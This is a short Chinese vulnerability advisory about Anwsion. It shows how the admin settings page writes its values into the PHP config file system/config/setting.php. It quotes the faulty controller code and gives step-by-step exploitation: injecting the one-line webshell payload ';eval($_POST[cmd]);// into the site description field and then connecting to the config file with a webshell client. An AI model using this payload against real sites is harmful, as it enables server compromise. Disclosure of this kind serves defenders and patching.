Anwsion后台功能设计缺陷可获得SHELL。
Anwsion后台功能设计缺陷可获得SHELL。
漏洞影响 全版本。
结合Anwsion 0.7以下所有版本可导致站点被入侵。
设计缺陷代码如下 见75-96行 将网站后台配置保存到数据库同时又保存到了本地PHP文件 导致可通过写入一句话执行。
/app/admin/controller/c_setting_class.inc.php
//保存参数到数据库
$retval = $this->model('setting')->set_vars($vars);
//保存缓存文件
if(!$this->model('setting')->update_setting_config())
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", '无法写入配置文件,请设置文件 system/config/setting.php 的权限为0777。'));
}
if ($retval)
{
ZCACHE::delete("setting_config");
H::ajax_json_output(AWS_APP::RSM(null, "1", "系统设置修改成功"));
}
else
{
H::ajax_json_output(AWS_APP::RSM(null, "-1", "系统设置修改失败"));
}
}
被写入的配置文件内容如下 system/config/setting.php
访问后台系统设置地址
http://sa.sebug.net/admin/setting/setting/group_id-1
在网站简介处添加一句话 ';eval($_POST[cmd]);//
通过一句话管理工具连接一句话/system/config/setting.php
早期Anwsion 0.6版本或更早版本配置文件被写入/gzphp/config/setting.php
如果受到rewrite限制无法访问一句话文件 则直接通过一句话管理工具连接/index.php文件即可。
成功连接一句话文件。